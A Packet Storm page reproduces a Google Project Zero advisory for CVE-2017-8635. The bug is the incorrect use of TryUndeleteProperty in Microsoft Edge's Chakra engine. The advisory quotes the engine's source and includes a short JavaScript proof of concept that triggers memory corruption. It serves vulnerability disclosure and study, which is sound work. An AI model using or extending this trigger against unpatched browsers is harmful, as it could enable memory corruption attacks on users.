what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage

Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an incorrect usage of TryUndeleteProperty.

tags | exploit
advisories | CVE-2017-8635
SHA-256 | 4c976473480db8694122c88cc93c331174a29c45970f7f7a010917b8046b6a96

Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage

Change Mirror Download
 Microsoft Edge: Chakra: Incorrect usage of TryUndeleteProperty 

CVE-2017-8635


Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.

bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(
DynamicObject *const object,
TPropertyIndex *const propertyIndex)
{
if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)
{
return false;
}

*propertyIndex = deletedPropertyIndex;
deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));
return true;
}

bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(
DynamicObject *const object,
const TPropertyIndex existingPropertyIndex,
TPropertyIndex *const propertyIndex)
{
...

if(!IsReusablePropertyIndex(existingPropertyIndex))
{
return false;
}

...

const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);
Assert(reused);

...
return true;
}


BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)
{
...
if (descriptor->Attributes & PropertyDeleted)
{
...
if(isUnordered)
{
TPropertyIndex propertyIndex;
if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))
{
Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));
descriptor = propertyMap->GetReferenceAt(propertyIndex);
}
}

if (IsNotExtensibleSupported)
{
bool isForce = (flags & PropertyOperation_Force) != 0;
if (!isForce)
{
if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))
{
return FALSE; <<------ (a)
}
}
}
...
descriptor->Attributes = PropertyDynamicTypeDefaults;
...
}
...
}

"TryUndeleteProperty" is calling "TryReuseDeletedPropertyIndex" on the assumption that the return value of it is always true. But if the method exits at (a), "descriptor->Attributes" will remain with "PropertyDeleted" set, and therefore we can call "TryUndeleteProperty" again and again until "deletedPropertyIndex" becames "NoSlots" which makes "TryReuseDeletedPropertyIndex" return false.

In the debug build, the PoC hits the assertion "Assert(reused);". In the release build, "propertyIndex" remains uninitialized, this will cause a memory corruption.

PoC:
const kNumProperties = 100;

let o = {};
for (let i = 0; i < kNumProperties; ++i)
o['a' + i] = i;

Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible

for (let i = 0; i < kNumProperties; ++i)
delete o['a' + i];

for (let i = 0; i < 0x1000; ++i)
o['a0'] = 1; // calling TryUndeleteProperty again again




This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close